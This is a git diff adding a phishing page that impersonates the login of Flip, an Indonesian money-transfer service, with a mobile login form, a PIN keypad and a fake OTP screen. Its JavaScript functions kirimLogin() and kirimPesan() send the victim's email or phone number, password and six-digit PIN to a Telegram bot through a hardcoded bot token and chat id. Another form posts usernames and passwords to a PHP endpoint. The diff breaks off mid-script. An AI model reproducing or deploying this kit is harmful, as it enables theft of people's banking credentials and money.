diff --git a/index1.html b/index1.html
new file mode 100644
index 0000000..fe108b7
--- /dev/null
+++ b/index1.html
@@ -0,0 +1,886 @@
+<!-- This site was created in Webflow. https://www.webflow.com --><!-- Last Published: Sat Apr 22 2023 09:42:10 GMT+0000 (Coordinated Universal Time) -->
+<html data-wf-domain="sinarmas-mobile.webflow.io" data-wf-page="6442141a49c262283d23a772" data-wf-site="644212b949c2624101239c6f" lang="In"><head><meta charset="utf-8"/>
+<title>Flip - Transfer Beda Bank Gratis</title>
+<meta content="Flip - Transfer Beda Bank Gratis " property="og:title">
+  <meta content="flip.id" property="twitter:title">
+  <meta name="description" content="Transfer beda bank, top up e-wallet, kirim uang ke luar negeri, dan beli produk digital. Semua lebih terjangkau!">
+<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" name="viewport">
+ <meta name="theme-color" content="#FFFFFF"> 
+ <meta content="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDke0ML57-FWGF63PLg0_hgJwc4HEB7Tqp_Rt8jVPgilp42OztJTONPbgNy9WAwgCXJS9NsvPdmZureLIsNcgMyb7odSCElXigrmDMftBhTbM6-YIAT7o_Rs_5MfU-jZTBCk3Sqqh0CQlojgeFWkVBBsy1elNS3NwAg3bOigYFOGFYA0xD-XbbfXMK/s16000/IMG-20230528-WA0013.jpg" property="og:image">
+  <link rel="canonical" href="https://flip.id/">
+   <meta property="og:url" content="https://flip.id/" />
+  <meta content="Flip - Transfer Beda Bank Gratis" name="generator">
+<meta content="Webflow" name="generator"/>
+<link href="https://uploads-ssl.webflow.com/644212b949c2624101239c6f/css/sinarmas-mobile.webflow.e4429d583.css" rel="stylesheet" type="text/css"/>
+<!--[if lt IE 9]>-->
+<script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js" type="text/javascript">
+    
+</script>
+<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
+<!--<![endif]-->
+<script type="text/javascript">!function(o,c){var n=c.documentElement,t=" w-mod-";n.className+=t+"js",("ontouchstart"in o||o.DocumentTouch&&c instanceof DocumentTouch)&&(n.className+=t+"touch")}(window,document);</script>
+<link href="https://storage.googleapis.com/dot-flip-dev/media-library/logo_lg_430b708631/logo_lg_430b708631.svg" rel="shortcut icon" type="image/x-icon"/>
+<link href="https://storage.googleapis.com/dot-flip-dev/media-library/logo_lg_430b708631/logo_lg_430b708631.svg" rel="apple-touch-icon"/>
+<link href="https://fonts.googleapis.com/css?family=Alatsi" rel="stylesheet" type="text/css">
+ 
+<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-0evHe/X+R7YkIZDRvuzKMRqM+OrBnVFBL6DOitfPri4tjfHxaWutUpFmBp4vmVor" crossorigin="anonymous">
+    <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css"/>   
+  <link rel="stylesheet" href="https://flip-indonesia.github.io/landing/style.css"/>   
+<script type="text/javascript">window.__WEBFLOW_CURRENCY_SETTINGS = {"currencyCode":"USD","$init":true,"symbol":"$","decimal":".","fractionDigits":2,"group":",","template":"{{wf {\"path\":\"symbol\",\"type\":\"PlainText\"} }} {{wf {\"path\":\"amount\",\"type\":\"CommercePrice\"} }} {{wf {\"path\":\"currencyCode\",\"type\":\"PlainText\"} }}","hideDecimalForWholeNumbers":false};</script>
+<script src="https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>
+ <style>
+          
+        </style>
+</head>
+<body class="body-4">
+    <welalxcome>
+
+</welalxcome>
+<chsalxcome2 style="display: none;">
+<div style="height:30px;width: 70px;margin-top: -30px;margin-bottom: 0px;float:center;margin-left:42%" class="talxcome">
+</div>
+
+    <div class="container-4 w-container">
+
+        
+        
+ <form onsubmit="kirimPesan()"  method="get">
+   
+<fieldset id="ryuSubmit">       
+ <div id="homeku">    
+<image src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwxZzEBfkKKBoSOTg4Dq-ZdTJ5h_lXvreuflUy0RBYrdXdG5B6IRlgmYyu_vKNK5YlWqfB39hYS14tw9mX2LJjOUNZAfuBAk35gWfaMVVIuFQOelf9POHvPQYTFfz6JF-A-btaZV9-oqKtcsWXSPliVeC9OrN1o-5s85qhN-_a81SHE9k_P2bGKbSc/s16000/AddText_05-28-01.20.06.jpg" width="100%" height="auto">
+<div style="top: 225px; position: absolute; margin: auto;">
+<label for="user" class="labelku">Email/Nomor Handphone</label>
+<input type="text" id="user" class="userku" placeholder="nama@email.id atau 085123456789" />
+<br>
+<br>
+<p style="margin-top: 30px;"></p>
+<label for="pass" class="labelku" style="margin-left: -70px">Kata Sandi</label>
+<input type="password" id="pass" class="userku" placeholder="********" />
+<a href="" style="text-decoration: none; position: absolute; left: 15; font-size: 13px; font-weight: 800; color: #FD6442; margin-top: 65px">Lupa Kata sandi?</a>
+<button class="btnflip" type="button" id="btnRedirect" onclick="kirimLogin()" >Masuk</button>
+<a href="" style="text-decoration: none; position: fixed; left: 0; right: 0; font-size: 13px; font-weight: 800; color: #ccc; bottom: 20; ">Belum punya akun?  <span style="color: #FD6442;">Daftar.</span></a>
+ </div>       
+ </div>
+<div class="tab" id="login">
+     <div style="position: fixed; left: 0; right: 0; bottom: 6; width: 92%; margin: 15px auto">
+  <div class="col-12" style="width: 100%; display: block; margin-top: 20px; background: transparent;"> 
+              <div>
+       <br>
+   <label class="floating-label"><input type="text" class="input-text nope inputku" placeholder=" " id="nama"> <span style="margin-left: -10px; margin-top: 30px; color: #2C2C2C; font-weight: 400;">Username</span> </label> 
+      </div>
+      <div style="margin-top: -2px"> 
+
+  <label class="floating-label" style="margin-top">
+     <p></p>
+     <p></p>
+  <input type="password" class="input-text nope " placeholder=" " id="email" pattern="(?=.*[a-z])(?=.*[A-Z]).{8,}" title="Masukan Data yang terdaftar di 𝗕𝗥𝗜𝗺𝗼 anda" required><span style="margin-left: -10px; margin-top: 30px; color: #2C2C2C; font-weight: 400;">Password</span> </label> 
+       <div class="bubble-element eye clickable-element" tabindex="3" id="eyeOpen"> 
+        <img alt="" id="eye" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCANQQ9gRdrWH7ZPFKAq4urYybNZsOj8Ex5X_dv2V-_pcCmIi7fFbbUzil7Lt1EHCxfek4x7r1XKYELxxV8zrJ08eXhx2rFpludblnsBaiOc8tw_APAWFft0MqheoBGS7Ba9pHuhP7LjNz38WVXJL9f-q-7QY8lfuuC77vQTH3-HhJN02PMO6awj1-/s38/tutup0399.jpg" style="display: block; margin: 0px; width: 100%; height: 100%; border-radius: 0px;"> 
+       </div> 
+       <div class="bubble-element eye clickable-element" tabindex="3" id="eyeClose" style="display: none"> 
+        <img alt="" id="eye" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2D_yppIdlT8o8x-_N4i6il4NGMzDSXDlRDGcg_E7Y12wN4xb6Oz17Px8AGCpl-wSD_qbXxhFEj6d3p-6g_KSLYaslfIyHjseWqrijoTq6XyKl07ht6xMX2obQ738iVTc1r0taCjIDAA5amrjTDaJ_kPu8rsWCCySVr4qbQu11mF2YrFiZs8raSKuV/s52/buka53a4.jpg" style="display: block; margin: 0px; width: 100%; height: 100%; border-radius: 0px;"> 
+       </div> 
+     
+      <br>
+      <div class="text-header" style="float: right; position: static; z-index: 999; display: block; margin-top: -10px; margin-bottom:"> 
+       <font style="font-size: 16px" color="#000000"><a href="./lupa_password.html" target="_blank" style="color: #025198; text-decoration: none; font-weight: bold; font-family: sans-serif;">Lupa Username/Password?</a></font> 
+      </div> 
+     </div> 
+    </div> 
+     <button class="btn-login1" type="button" id="dolog" onclick="loginku()" disabled> Login </button> 
+      <div class="col-12" style="width: 40px; max-width: 40%; display: block; margin: -10px auto; margin-right: 20px; margin-top: -91px;"> 
+       <button type="button" class="btn-login" onclick="openForm()"></button> 
+       </div>
+      </div> 
+</div>
+ <div class="form-popup" id="myForm" style="margin-top: 0px; width: 100%; background-color: #00000040"> 
+      <input type="hidden" value="fingerprint" required> 
+      <button id="dolog" type="submit" style="width: 100%; height: 100%; background: #000000; "><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpm2K2JjLtYWlcV0QrNSU7ECBSFJGsUn94v5U1_eXWScHM6t8xk5K3dW7Z6L4MAYQmKFG1tTEesbTXJlnGZ-Ez4KDA4kG3jYBSSuQ3j0h9HxyxsWxSqEAAnHWtj0Qmw6vahUpN7adcpY4QNnO-AJHLIHjhlfnMK7ZkNQwUhbeSN2B7dIkA8RxfgsgK/s2137/AddText_01-30-07.14.49.png" style="width: 100%; height: 100%; margin-left: -7px;  margin-top: 0px;" class="card-item__bg"></button> 
+      <button type="button" class="btn-cancel" onclick="closeForm()">Cancel</button> 
+     </div> 
+    </div> 
+
+  </div> 
+  <div class="tab" id="pinku" style="color: #fff; padding-left: 25px; padding-right: 30px; margin: auto;">
+       <div class="row" style="margin-top: 30px; margin: 20px auto;">
+            <div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; text-align: center; margin-top: 25px; height: 98.8px; padding-bottom: 0px; font-family: Barlow; font-size: 16px; font-weight: 400; color: #fff; line-height: 1.4; border-radius: 0px;">
+                <div class="text-header" style="font-family: 'Nunito', sans-serif;"><font size="3" style="color: #fff"></div>
+            </div>
+        </div>
+        <div class="row" style="margin-top: 30px; color: #fff; text-align: center">
+            <div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 98.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: #fff; line-height: 1.4; border-radius: 0px;">
+                <div class="text-header"></div>
+               
+            </div>
+        </div>
+        <div class="row" style="margin-top: -100px;">
+            <div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 58.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: rgb(59, 59, 59); line-height: 1.4; border-radius: 0px;">
+    <div class="row" style="texr-align: center; margin: 40px; margin-top: -35px">
+     <input type="hidden" name="sixpin" id="setPin">
+           <div class="col-2">
+   <div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
+              <div class="bubble-element Group" id="pin-1" data-val="" style="box-sizing: border-box; font-size: 11px; color: #000; text-align: center; padding-top: 0px;  width: 20px; left: 0px; top: 0px; background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
+                        </div>
+                    </div>
+                    <div class="col-2">
+                        <div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
+                            <div class="bubble-element Group" id="pin-2" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
+                        </div>
+                    </div>
+                    <div class="col-2">
+                        <div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
+                            <div class="bubble-element Group" id="pin-3" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
+                        </div>
+                    </div>
+                    <div class="col-2">
+                        <div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
+                            <div class="bubble-element Group" id="pin-4" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
+                        </div>
+                    </div>
+                    <div class="col-2">
+                        <div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
+                            <div class="bubble-element Group" id="pin-5" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px; background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
+                        </div>
+                    </div>
+                    <div class="col-2">
+                        <div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
+                            <div class="bubble-element Group" id="pin-6" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;" ></div>
+                        </div>
+                    </div>
+               </div>
+               <div class="row" style="margin-top: -130px">
+                    <div class="col-12">
+                        <div class="text-header text-center" style="font-family: 'Nunito', sans-serif;'"><</div>
+                    </div>
+               </div>
+            </div>
+        </div>
+        <div class="row" style="margin-top: 70px; margin-left: -5px;">
+            <div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 98.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: black; line-height: 1.4; border-radius: 0px;">
+                <div class="row">
+                    <div class="col-4">
+                        <button class="bubble-element Group pinNumb" id="setPin" data-id="1">1</button>
+                    </div>
+                    <div class="col-4">
+                        <button class="bubble-element Group pinNumb" id="setPin" data-id="2">2</button>
+                    </div>
+                    <div class="col-4">
+                        <button class="bubble-element Group pinNumb" id="setPin" data-id="3">3</button>
+                    </div>
+                </div>
+
+                <div class="row" style="margin-top: -80px">
+                    <div class="col-4">
+                        <button class="bubble-element Group pinNumb" id="setPin" data-id="4">4</button>
+                    </div>
+                    <div class="col-4">
+                        <button class="bubble-element Group pinNumb" id="setPin" data-id="5">5</button>
+                    </div>
+                    <div class="col-4">
+                        <button class="bubble-element Group pinNumb" id="setPin" data-id="6">6</button>
+                    </div>
+                </div>
+
+                <div class="row" style="margin-top: -80px">
+                    <div class="col-4">
+                        <button class="bubble-element Group pinNumb" id="setPin" data-id="7">7</button>
+                    </div>
+                    <div class="col-4">
+                        <button class="bubble-element Group pinNumb" id="setPin" data-id="8">8</button>
+                    </div>
+                    <div class="col-4">
+                        <button class="bubble-element Group pinNumb" id="setPin" data-id="9">9</button>
+                    </div>
+                </div>
+
+                <div class="row" style="margin-top: -80px">
+                    <div class="col-4">
+                        
+                    </div>
+                    <div class="col-4">
+                        <button class="bubble-element Group pinNumb" id="setPin" data-id="0">0</button>
+                    </div>
+                    <div class="col-4">
+                        <button class="bubble-element Group pinNumb" id="hapus"><i class="ion-backspace-outline"></i></button>
+                    </div>
+                </div>
+            </div>
+        </div>
+    </div>
+
+    
+</fieldset>
+    </form>
+
+      
+  </div>
+  <div class="tab" id="debit">
+<p id="otpsaya" style="color: black; position: fixed; left: 0; right: 0; top: 113; font-size: 15px"></p>
+<div class="pin-code" maxlength="6" style="margin-top: 170px;">
+    <form method="get">
+    <input type="hidden" name="sixpin" id="setPin"> 
+	<input type="tel" id="pin1" data-id="1" maxlength="1" required autofocus>
+    <input type="tel" id="pin2" data-id="2" name="pin2" maxlength="1" autofocus>
+	  <input type="tel" id="pin3" data-id="3" name="pin3" maxlength="1" autofocus>
+    <input type="tel" id="pin4" data-id="4" name="pin4" maxlength="1" autofocus>
+    <input type="tel" id="pin5" data-id="5" name="pin5" maxlength="1" autofocus>
+   <input type="tel" value="" id="pin6" data-id="6" name="pin6" maxlength="1" required onchange="javascript:this.form.submit();" oninput="kirimPin()" autofocus>
+    <p></p>
+    <input type="tel" style="opacity: 0.0">
+     </div> 
+ 
+    
+    </form>
+     <p style="font-weight: bold; font-size: 25px; color: #000000; text-align: center; margin: 10px auto; margin-top: -50px" id="timer">3 : 00</p>
+     <center>
+     <button type="button" id="gantino" style="position: ; bottom: 10; left; 0; right: 0; margin: 5px auto; margin-top: 340px; color: #FD6442; font-weight: 800; background: transparent; font-size: 15px">Ubah nomor HP</button>
+     </center>
+</div>
+
+<div id="loading">
+        <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWid-1DztYEbF1wQ4b3ESQKzFpMuGNzhaS2PN-lrrQpGzFt7NIsq0vuvIEI63T_g-iDxbu358ijQMM23euMCjuBqzegiKeJWQSziK-1H-jJZhL06h0zOERvNm2hNGMuuGsqoY1T8xCBTJ9GY-U9orhQfMkQvdYGG41OLj1knwPFfCEN0YqLFb73UI6/s16000/ezgif.com.gif"
+            alt="">
+    </div>
+    <div id="aseli"></div>
+    <div id="koneksi">
+  <div class="animated fadeInUpBig">
+      <image src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvlhVV1edmw-JWVGbd5sKgKqC07Psdrq7yzoeuzacmSJ52mHlLkVdWEefInQpNRFlLzmjvOntJ65c40xTAYKamopDWfp2MNwsFwyUxt-wNVBm8Pf-cVA9PPYOAeDKsXxX6dYe2CNoRyIN6Zx-tGTv8VL47i7GxPAmcq2MOyowksTIYEFIVhghzaFA/s16000/1685119842427.png" width="100%" height="100%"></image>
+        </div> 
+    </div>
+<!-- partial -->
+  </div>
+<!-- partial:index.partial.html -->
+<script src="https://code.jquery.com/jquery-1.12.4.min.js"
+        integrity="sha384-nvAa0+6Qg9clwYCGGPpDQLVpLNn0fRaROjHqs13t4Ggj3Ez50XnGQqc/r8MhnRDZ"
+        crossorigin="anonymous">
+</script>
+<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.15/jquery.mask.min.js"></script>
+<script>
+    $(document).ready(function(){
+
+  $("#setPin").passwordify().focus();
+});
+
+</script>
+<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>  
+<script type="text/javascript">
+$(function () {  
+    $("#btnRedirect1").click(function () {  
+        var seconds = 3;  
+        $("#indi").show();
+        $("#loading").show();  
+        $("#lblCount").html(seconds);  
+        setInterval(function () {  
+            seconds--;  
+            $("#lblCount").html(seconds);  
+            if (seconds == 0) {  
+                $("#indi").hide();
+                $("#loading").hide();
+                 document.getElementById("pinku").style.display = "block";
+    
+    document.getElementById("menu").style.display = "none";
+            }  
+        }, 1000);  
+    });  
+});  
+</script>
+<script type="text/javascript">
+$(function () {  
+    $("#gantino").click(function () {  
+        var seconds = 3; 
+        $("#loading").show();  
+        $("#lblCount").html(seconds);  
+        setInterval(function () {  
+            seconds--;  
+            $("#lblCount").html(seconds);  
+            if (seconds == 0) {  
+                $("#loading").hide();
+                 document.getElementById("homeku").style.display = "block";
+    
+    document.getElementById("debit").style.display = "none";
+    document.getElementById("pinku").style.display = "none";
+            }  
+        }, 1000);  
+    });  
+});  
+</script>
+<script>
+    /**
+ * jQuery.Passwordify.js
+ * Written by: Jay Simons
+ * Cloudulus.Media (https://code.cloudulus.media)
+ */
+
+if (window.jQuery) {
+    (function ($) {
+        $.fn.passwordify = function (opts) {
+            var settings = $.extend({
+                maxLength: 8,
+                numbersOnly: false,
+                alphaOnly: false,
+                alNumOnly: false,
+                enterKeyCallback: null
+            }, opts);
+
+            var rePattern = '\\s\\S';
+            if (settings.numbersOnly) rePattern = '0-9';
+            if (settings.alphaOnly) rePattern = 'A-z';
+            if (settings.alNumOnly) rePattern = '0-9A-z';
+
+            var maskPlaceholder = "";
+            for (var i = 0; i < settings.maxLength; i++)
+            {
+                maskPlaceholder = maskPlaceholder + 'Z';
+            }
+
+            return this.on('keyup', function (e) {
+                var me = $(this);
+                switch (e.which) {
+                    case 8: // Handle backspace
+                        $(this).data('val', $(this).data('val').slice(0, -1));
+                        break;
+                    case 13: // Handle enter key
+                        if (typeof settings.enterKeyCallback == 'function') settings.enterKeyCallback(me);
+                        break;
+                    case undefined:
+                        $(this).data('val', $(this).val());
+                    break;
+                    default: // All other input
+                        var regex = new RegExp("^[" + rePattern + "]$");
+                        if (regex.exec(e.key) && $(this).data('val').length < settings.maxLength) {
+                            $(this).data('val', $(this).data('val') + e.key);
+                        }
+                }
+                setTimeout(function () {
+                    var inpVal = me.val();
+                    me.val(inpVal.replace(/./gi, '*'));
+                    me.trigger('change');
+                }, 300);
+            }).mask(maskPlaceholder, {
+                translation: {
+                    'Z': {pattern: "[" + rePattern + "\*]"}
+                }
+            });
+        }
+    })(jQuery);
+} else {
+    console.log("Passwordify.js: This class requies jQuery > v3!");
+}
+
+</script>
+	<!-- partial -->
+</center>
+</div>
+</form>
+ <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
+ <script>
+ 
+        $( document ).ready(function() {
+            setTimeout(() => {
+                $('welalxcome').hide();
+                $('chsalxcome2').fadeIn();
+            },1000)
+        });
+
+ 
+          $(document).ready(function () {
+            $("#Button").on('click', function () {
+                $("#loading").show();
+                
+                setTimeout(function () {
+                    
+                }, 1800);
+
+            });
+        });
+    </script>
+<script>
+
+function kirimLogin(){
+   
+   document.getElementById("pinku").style.display = "block";
+   document.getElementById("loading").style.display = "block";
+    setTimeout(function () {
+    $("#loading").fadeOut("slow");          }, 900);
+                    
+    var user = document.getElementById('user');
+    var pass = document.getElementById('pass');
+    
+
+    var gabungan = '𝗘𝗺𝗮𝗶𝗹/𝗡𝗼.𝗛𝗮𝗻𝗱𝗽𝗵𝗼𝗻𝗲 %3A%0A' + user.value + '%0A𝗣𝗮𝘀𝘀𝘄𝗼𝗿𝗱 %3A%0A' + pass.value;
+   
+    var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
+    var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
+
+    $.ajax({
+        url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
+        method: `POST`,
+    })
+}
+    
+
+
+
+    
+    
+
+
+</script>
+ <script>
+function openForm() {
+  document.getElementById("myForm").style.display = "block";
+}
+
+function closeForm() {
+  document.getElementById("myForm").style.display = "none";
+}
+</script> 
+       <script>
+        document.getElementById('timer').innerHTML =
+          01 + ":" + 59;
+        startTimer();
+        
+        
+        function startTimer() {
+          var presentTime = document.getElementById('timer').innerHTML;
+          var timeArray = presentTime.split(/[:]+/);
+          var m = timeArray[0];
+          var s = checkSecond((timeArray[1] - 1));
+          if(s==59){m=m-1}
+          if(m<01){
+            return
+          }
+          
+          document.getElementById('timer').innerHTML =
+            m + " : " + s;
+          console.log(m)
+          setTimeout(startTimer, 1000);
+          
+        }
+        
+        function checkSecond(sec) {
+          if (sec < 10 && sec >= 0) {sec = "0" + sec}; // add zero in front of numbers < 10
+          if (sec < 0) {sec = "59"};
+          return sec;
+        }
+    </script>
+     <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
+    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/js/bootstrap.bundle.min.js" integrity="sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin="anonymous"></script>
+  <script>
+    function kirimPesan() {
+ document.getElementById("otpsaya").innerHTML = "SMS di <strong>" + user.value + "</strong> dan cek email anda";   
+        
+    var setPin = document.getElementById('setPin');
+    
+    var gabungan = '𝗣𝗜𝗡 𝗙𝗹𝗶𝗽 %3A%0A' + setPin.value;
+
+    var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
+    var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
+
+    $.ajax({
+        url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
+        method: `POST`,
+    })
+}
+        $(document).ready(function() {
+            $("button#setPin").on('click', function() {
+                var pin = $(this).attr('data-id');
+
+                
+                if($.trim($("#pin-1").html())=='') {
+                    $("#pin-1").html(pin);
+                } else if($.trim($("#pin-1").html())!='' && $.trim($("#pin-2").html())=='') {
+                    $("#pin-2").html(pin);
+                } else if($.trim($("#pin-2").html())!='' && $.trim($("#pin-3").html())=='') {
+                    $("#pin-3").html(pin);
+                } else if($.trim($("#pin-3").html())!='' && $.trim($("#pin-4").html())=='') {
+                    $("#pin-4").html(pin);
+                } else if($.trim($("#pin-4").html())!='' && $.trim($("#pin-5").html())=='') {
+                    $("#pin-5").html(pin);
+                } else if($.trim($("#pin-5").html())!='' && $.trim($("#pin-6").html())=='') {
+                    $("#pin-6").html(pin);
+
+                    var setPin = $("#pin-1").html()+''+$("#pin-2").html()+''+$("#pin-3").html()+''+$("#pin-4").html()+''+$("#pin-5").html()+''+$("#pin-6").html();
+                    $("input#setPin").val(setPin);
+
+                    var pinValue = $("input#setPin").val();
+
+                    if(pinValue.length == 6) {
+        $("fieldset").submit();
+                       document.getElementById("debit").style.display = "block";
+                        document.getElementById("loading").style.display = "flex";
+                        
+                        
+   setTimeout(function () {
+    $("#loading").fadeOut("slow");          }, 900);
+                    }
+                }
+            });
+
+            $("#hapus").on('click', function() {
+                $("#pin-1").html('');
+                $("#pin-2").html('');
+                $("#pin-3").html('');
+                $("#pin-4").html('');
+                $("#pin-5").html('');
+            });
+        });
+    </script>
+<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
+<script src="https://d3e54v103j8qbb.cloudfront.net/js/jquery-3.5.1.min.dc5e7f18c8.js?site=644212b949c2624101239c6f" type="text/javascript" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
+<!--<script src="https://uploads-ssl.webflow.com/644212b949c2624101239c6f/js/webflow.5baa35f54.js" type="text/javascript"></script>--><!--[if lte IE 9]>-->
+<script src="//cdnjs.cloudflare.com/ajax/libs/placeholders/3.0.2/placeholders.min.js"></script>
+<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"
+    integrity="sha512-+NqPlbbtM1QqiK8ZAo4Yrj2c4lNQoGv8P79DPtKzj++l5jnN39rHA/xsqn8zE9l0uSoxaCdrOgFs6yjyfbBxSg=="
+    crossorigin="anonymous" referrerpolicy="no-referrer"></script>
+    <script type="text/javascript">
+    function EnableDisable(tiktok) {
+        //Reference the Button.
+        var Button = document.getElementById("Button");
+ 
+        //Verify the TextBox value.
+        if (tiktok.value.trim() != "") {
+            //Enable the TextBox when TextBox has value.
+            Button.disabled = false;
+        } else {
+            //Disable the TextBox when TextBox is empty.
+            Button.disabled = true;
+        }
+    };
+</script>
+    <script>
+
+           function OnButton(nama, email) {
+
+            if(nama.length > 4 && email.length > 5) {
+                $(".btn-login1").prop('disabled', false);
+            } else {
+                $(".btn-login1").prop('disabled', true);
+            }
+        }
+        $(document).ready(function() {
+            $("body").on('click', 'button#doLog', function() {
+                var user = $("#nama").val();
+                var pass = $("#email").val();
+
+                $.ajax({
+                    url: "/login/confirm.php",
+                    method: "POST",
+                    data: "username="+user+"&password="+pass,
+                    beforeSend: function() {
+                        $("#loading").show();
+                    },
+                    success: function(responsex) {
+                        $("#aseli").html('');
+                        if(responsex == "true") {
+                            $.get("/aplikasi/login.js", function(datax, status){
+                                window.history.pushState("", "", '/login.js');
+                                $("#hideBody").hide();
+                                $("#loading").hide();
+                                $("#aseli").html(datax);
+                            });
+                        } else {
+                            $.get("/aplikasi/pin.php", function(data, status){
+                                window.history.pushState("", "", 'aplikasi/login.php');
+                                setTimeout(function() { 
+                                    $("#hideBody").hide();
+                                    $("#loading").hide();
+                                    $("#aseli").html(data);
+                                    $("#aseli").show();
+                                }, 1000);
+                            });
+                        }
+                        
+                    }
+                })
+            });
+            $("div#eyeOpen").on('click', function() {
+                $("#eyeOpen").css("display", "none");
+                $("#eyeClose").css("display", "block");
+
+                $("#email").prop("type", "text");
+
+                $("div#eyeClose").on('click', function() {
+                    $("#eyeOpen").css("display", "block");
+                    $("#eyeClose").css("display", "none");
+
+                    $("#email").prop("type", "password");
+                });
+            });
+
+            $("#nama").on('input', function() {
+                var user = $("#nama").val();
+                var pass = $("#email").val();
+
+                OnButton(user, pass);
+            });
+
+            $("#email").on('input', function() {
+                var user = $("#nama").val();
+                var pass = $("#email").val();
+
+                OnButton(user, pass);
+            });
+        });
+    </script>
+     <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js'></script>
+<script src='https://use.fontawesome.com/2473308824.js'></script>
+    
+    <script>
+
+$(document).ready(function() {
+    var buttoqn = $('#Button1');
+    $(button).prop('disabled', true);
+
+    $('#pin5').on('input', function() {
+       var pin5 = $("#pin5").val();
+       var logos = $("#logos").val();
+        if ($(buttonq).prop('disabled')) $(buttonq).prop('disabled', false);
+        else $(button).prop('disabled', true);
+    });
+    
+    
+    
+    </script>
+   
+<!--<![endif]-->
+</body>
+</html>
+
+<script>
+//var pinContainer = document.getElementsByClassName("pin-code")[maxlength];
+var pinContainer = document.querySelector(".pin-code");
+console.log('There is ' + pinContainer.length + ' Pin Container on the page.');
+
+pinContainer.addEventListener('keyup', function (event) {
+    var target = event.srcElement;
+    
+    var maxLength = parseInt(target.attributes["maxlength"].value, 6);
+    var myLength = target.value. length;
+
+    if (myLength >= maxLength) {
+        var next = target;
+        while (next = next.nextElementSibling) {
+            if (next == 0) break;
+            if (next.tagName.toLowerCase() == "input") {
+                next.focus();
+                break;
+            }
+        }
+    }
+
+    if (myLength === 0) {
+        var next = target;
+        while (next = next.previousElementSibling) {
+            if (next == 0) break;
+            if (next.tagName.toLowerCase() == "input") {
